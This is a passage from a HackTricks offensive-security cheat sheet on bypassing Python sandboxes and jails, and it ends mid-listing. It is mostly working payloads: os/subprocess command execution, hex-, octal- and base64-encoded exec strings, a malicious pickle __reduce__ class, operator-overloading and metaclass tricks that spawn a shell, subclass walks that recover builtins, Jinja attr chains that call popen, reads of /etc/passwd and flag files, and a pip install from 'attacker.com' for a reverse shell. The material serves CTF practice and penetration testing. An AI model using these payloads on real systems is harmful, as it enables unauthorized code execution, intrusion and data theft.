Bypass Python sandboxes - HackTricks

# Bypass Python sandboxes

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

These are some tricks to bypass python sandbox protections and execute arbitrary commands.

## Command Execution Libraries

The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

    os.system("ls")
    os.popen("ls").read()
    commands.getstatusoutput("ls")
    commands.getoutput("ls")
    commands.getstatus("file/path")
    subprocess.call("ls", shell=True)
    subprocess.Popen("ls", shell=True)
    pty.spawn("ls")
    pty.spawn("/bin/bash")
    platform.os.system("ls")
    pdb.os.system("ls")

    #Import functions to execute commands
    importlib.import_module("os").system("ls")
    importlib.__import__("os").system("ls")
    imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
    imp.os.system("ls")
    imp.sys.modules["os"].system("ls")
    sys.modules["os"].system("ls")
    __import__("os").system("ls")
    import os
    from os import *

    #Other interesting functions
    open("/etc/passwd").read()
    open('/var/www/html/input', 'w').write('123')

    #In Python2.7
    execfile('/usr/lib/python2.7/os.py')
    system('ls')

Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.

> [!CAUTION] > Python2 input() function allows executing python code before the program crashes.

Python try to load libraries from the current directory first (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`

## Bypass pickle sandbox with the default installed python packages

### Default packages

You can find a list of pre-installed packages here: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Note that from a pickle you can make the python env import arbitrary libraries installed in the system.
For example, the following pickle, when loaded, is going to import the pip library to use it:

    #Note that here we are importing the pip library so the pickle is created correctly
    #however, the victim doesn't even need to have the library installed to execute it
    #the library is going to be loaded automatically

    import pickle, os, base64, pip
    class P(object):
        def __reduce__(self):
            return (pip.main,(["list"],))

    print(base64.b64encode(pickle.dumps(P(), protocol=0)))

For more information about how pickle works check this: https://checkoway.net/musings/pickle/

### Pip package

Trick shared by @isHaacK

If you have access to `pip` or `pip.main()` you can install an arbitrary package and obtain a reverse shell calling:

    pip install http://attacker.com/Rerverse.tar.gz
    pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the `setup.py`, and put your IP for the reverse shell:

Reverse.tar (1).gz

> [!NOTE] This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.

## Eval-ing python code

> [!WARNING] Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)

If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction:

    exec("print('RCE'); __import__('os').system('ls')") #Using ";"
    exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
    eval("__import__('os').system('ls')") #Eval doesn't allow ";"
    eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
    __import__('timeit').timeit("__import__('os').system('ls')",number=1)
    #One liners that allow new lines and tabs
    eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
    exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

    #Octal
    exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
    #Hex
    exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
    #Base64
    exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
    exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

### Other libraries that allow to eval python code

    #Pandas
    import pandas as pd
    df = pd.read_csv("currency-rates.csv")
    df.query('@__builtins__.__import__("os").system("ls")')
    df.query("@pd.io.common.os.popen('ls').read()")
    df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

    # The previous options work but others you might try give the error:
    # Only named functions are supported
    # Like:
    df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

## Operators and short tricks

    # walrus operator allows generating variable inside a list
    ## everything will be executed in order
    ## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
    [a:=21,a*2]
    [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
    ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

## Bypassing protections through encodings (UTF-7)

In this writeup UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox:

    assert b"+AAo-".decode("utf_7") == "\n"

    payload = """
    # -*- coding: utf_7 -*-
    def f(x):
        return x
        #+AAo-print(open("/flag.txt").read())
    """.lstrip()

It is also possible to bypass it using other encodings, e.g. `raw_unicode_escape` and `unicode_escape`.

## Python execution without calls

If you are inside a python jail that doesn't allow you to make calls, there are still some ways to execute arbitrary functions, code and commands.

### RCE with decorators

    # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
    @exec
    @input
    class X:
        pass

    # The previous code is equivalent to:
    class X:
        pass
    X = input(X)
    X = exec(X)

    # So just send your python code when prompted and it will be executed

    # Another approach without calling input:
    @eval
    @'__import__("os").system("sh")'.format
    class _:pass

### RCE creating objects and overloading

If you can declare a class and create an object of that class you could write/overwrite different methods that can be triggered without needing to call them directly.

#### RCE with custom classes

You can modify some class methods (by overwriting existing class methods or creating a new class) to make them execute arbitrary code when triggered without calling them directly.

    # This class has 3 different ways to trigger RCE without directly calling any function
    class RCE:
        def __init__(self):
            self += "print('Hello from __init__ + __iadd__')"
        __iadd__ = exec #Triggered when object is created
        def __del__(self):
            self -= "print('Hello from __del__ + __isub__')"
        __isub__ = exec #Triggered when object is created
        __getitem__ = exec #Trigerred with obj[<argument>]
        __add__ = exec #Triggered with obj + <argument>

    # These lines abuse directly the previous class to get RCE
    rce = RCE() #Later we will see how to create objects without calling the constructor
    rce["print('Hello from __getitem__')"]
    rce + "print('Hello from __add__')"
    del rce

    # These lines will get RCE when the program is over (exit)
    sys.modules["pwnd"] = RCE()
    exit()

    # Other functions to overwrite
    __sub__ (k - 'import os; os.system("sh")')
    __mul__ (k * 'import os; os.system("sh")')
    __floordiv__ (k // 'import os; os.system("sh")')
    __truediv__ (k / 'import os; os.system("sh")')
    __mod__ (k % 'import os; os.system("sh")')
    __pow__ (k**'import os; os.system("sh")')
    __lt__ (k < 'import os; os.system("sh")')
    __le__ (k <= 'import os; os.system("sh")')
    __eq__ (k == 'import os; os.system("sh")')
    __ne__ (k != 'import os; os.system("sh")')
    __ge__ (k >= 'import os; os.system("sh")')
    __gt__ (k > 'import os; os.system("sh")')
    __iadd__ (k += 'import os; os.system("sh")')
    __isub__ (k -= 'import os; os.system("sh")')
    __imul__ (k *= 'import os; os.system("sh")')
    __ifloordiv__ (k //= 'import os; os.system("sh")')
    __idiv__ (k /= 'import os; os.system("sh")')
    __itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
    __imod__ (k %= 'import os; os.system("sh")')
    __ipow__ (k **= 'import os; os.system("sh")')
    __ilshift__ (k<<= 'import os; os.system("sh")')
    __irshift__ (k >>= 'import os; os.system("sh")')
    __iand__ (k = 'import os; os.system("sh")')
    __ior__ (k |= 'import os; os.system("sh")')
    __ixor__ (k ^= 'import os; os.system("sh")')

#### Crating objects with metaclasses

The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as a metaclass.

    # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
    # This will define the members of the "subclass"
    class Metaclass(type):
        __getitem__ = exec # So Sub[string] will execute exec(string)
    # Note: Metaclass.__class__ == type

    class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
        pass # Nothing special to do

    Sub['import os; os.system("sh")']

    ## You can also use the tricks from the previous section to get RCE with this object

#### Creating objects with exceptions

When an exception is triggered an object of the Exception is created without you needing to call the constructor directly (a trick from @_nag0mez):

    class RCE(Exception):
        def __init__(self):
            self += 'import os; os.system("sh")'
        __iadd__ = exec #Triggered when object is created
    raise RCE #Generate RCE object

    # RCE with __add__ overloading and try/except + raise generated object
    class Klecko(Exception):
      __add__ = exec

    try:
      raise Klecko
    except Klecko as k:
      k + 'import os; os.system("sh")' #RCE abusing __add__

    ## You can also use the tricks from the previous section to get RCE with this object

### More RCE

    # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
    # If sys is imported, you can sys.excepthook and trigger it by triggering an error
    class X:
        def __init__(self, a, b, c):
            self += "os.system('sh')"
        __iadd__ = exec
    sys.excepthook = X
    1/0 #Trigger it

    # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
    # The interpreter will try to import an apt-specific module to potentially
    # report an error in ubuntu-provided modules.
    # Therefore the __import__ functions are overwritten with our RCE
    class X():
      def __init__(self, a, b, c, d, e):
        self += "print(open('flag').read())"
      __iadd__ = eval
    __builtins__.__import__ = X
    {}[1337]

### Read file with builtins help & license

    __builtins__.__dict__["license"]._Printer__filenames=["flag"]
    a = __builtins__.help
    a.__class__.__enter__ = __builtins__.__dict__["license"]
    a.__class__.__exit__ = lambda self, *args: None
    with (a as b):
        pass

## Builtins

- Builtins functions of python2
- Builtins functions of python3

If you can access the `__builtins__` object you can import libraries (notice that you could also use here other string representation shown in the last section):

    __builtins__.__import__("os").system("ls")
    __builtins__.__dict__['__import__']("os").system("ls")

### No Builtins

When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as all the global functions (like `open`, `import`, `print`...) aren't loaded.
However, by default python imports a lot of modules in memory. These modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.

In the following examples you can observe how to abuse some of this "benign" modules loaded to access dangerous functionalities inside of them.

Python2

    #Try to reload __builtins__
    reload(__builtins__)
    import __builtin__

    # Read recovering <type 'file'> in offset 40
    ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
    # Write recovering <type 'file'> in offset 40
    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

    # Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
    ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
    # Execute (another method)
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
    # Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

    # Or you could obtain the builtins from a defined function
    get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

#### Python3

    # Obtain builtins from a globally defined function
    # https://docs.python.org/3/library/functions.html
    help.__call__.__builtins__ # or __globals__
    license.__call__.__builtins__ # or __globals__
    credits.__call__.__builtins__ # or __globals__
    print.__self__
    dir.__self__
    globals.__self__
    len.__self__
    __build_class__.__self__

    # Obtain the builtins from a defined function
    get_flag.__globals__['__builtins__']

    # Get builtins from loaded classes
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Below there is a bigger function to find tens/hundreds of places were you can find the builtins.

#### Python2 and Python3

    # Recover __builtins__ and make everything easier
    __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
    __builtins__["__import__"]('os').system('ls')

### Builtins payloads

    # Possible payloads once you have found the builtins
    __builtins__["open"]("/etc/passwd").read()
    __builtins__["__import__"]("os").system("ls")
    # There are lots of other payloads that can be abused to execute commands
    # See them below

## Globals and locals

Checking the `globals` and `locals` is a good way to know what you can access.

    >>> globals()
    {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
    >>> locals()
    {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

    # Obtain globals from a defined function
    get_flag.__globals__

    # Obtain globals from an object of a class
    class_obj.__init__.__globals__

    # Obtaining globals directly from loaded classes
    [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
    [<class 'function'>]

    # Obtaining globals from __init__ of loaded classes
    [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
    [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
    # Without the use of the dir() function
    [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
    [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Below there is a bigger function to find tens/hundreds of places were you can find the globals.

## Discover Arbitrary Execution

Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.

#### Accessing subclasses with bypasses

One of the most sensitive parts of this technique is being able to access the base subclasses. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are other possible ways:

    #You can access the base from mostly anywhere (in regular conditions)
    "".__class__.__base__.__subclasses__()
    [].__class__.__base__.__subclasses__()
    {}.__class__.__base__.__subclasses__()
    ().__class__.__base__.__subclasses__()
    (1).__class__.__base__.__subclasses__()
    bool.__class__.__base__.__subclasses__()
    print.__class__.__base__.__subclasses__()
    open.__class__.__base__.__subclasses__()
    defined_func.__class__.__base__.__subclasses__()

    #You can also access it without "__base__" or "__class__"
    # You can apply the previous technique also here
    "".__class__.__bases__[0].__subclasses__()
    "".__class__.__mro__[1].__subclasses__()
    "".__getattribute__("__class__").mro()[1].__subclasses__()
    "".__getattribute__("__class__").__base__.__subclasses__()

    # This can be useful in case it is not possible to make calls (therefore using decorators)
    ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

    #If attr is present you can access everything as a string
    # This is common in Django (and Jinja) environments
    (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
    (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

### Finding dangerous libraries loaded

For example, knowing that with the library `sys` it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:

    [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
    ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

There are a lot, and we just need one to execute commands:

    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

We can do the same thing with other libraries that we know can be used to execute commands:

    #os
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

    #subprocess
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
    [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
    [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

    #builtins
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

    #sys
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

    #commands (not very common)
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

    #pty (not very common)
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

    #importlib
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

    #pdb
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Moreover, we could even search which modules are loading malicious libraries:

    bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
    for b in bad_libraries_names:
         vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
         print(f"{b}: {', '.join(vuln_libs)}")

    """
    os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
    commands:
    subprocess: BaseDependency, Origin, Version, Package
    pty:
    importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
    imp:
    sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
    builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
    pdb:
    """

Moreover, if you think other libraries may be able to invoke functions to execute commands, we can also filter by functions names inside the possible libraries:

    bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
    bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
    for b in bad_libraries_names + bad_func_names:
         vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
         print(f"{b}: {', '.join(vuln_funcs)}")

    """
    os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
    commands:
    subprocess: BaseDependency, Origin, Version, Package
    pty:
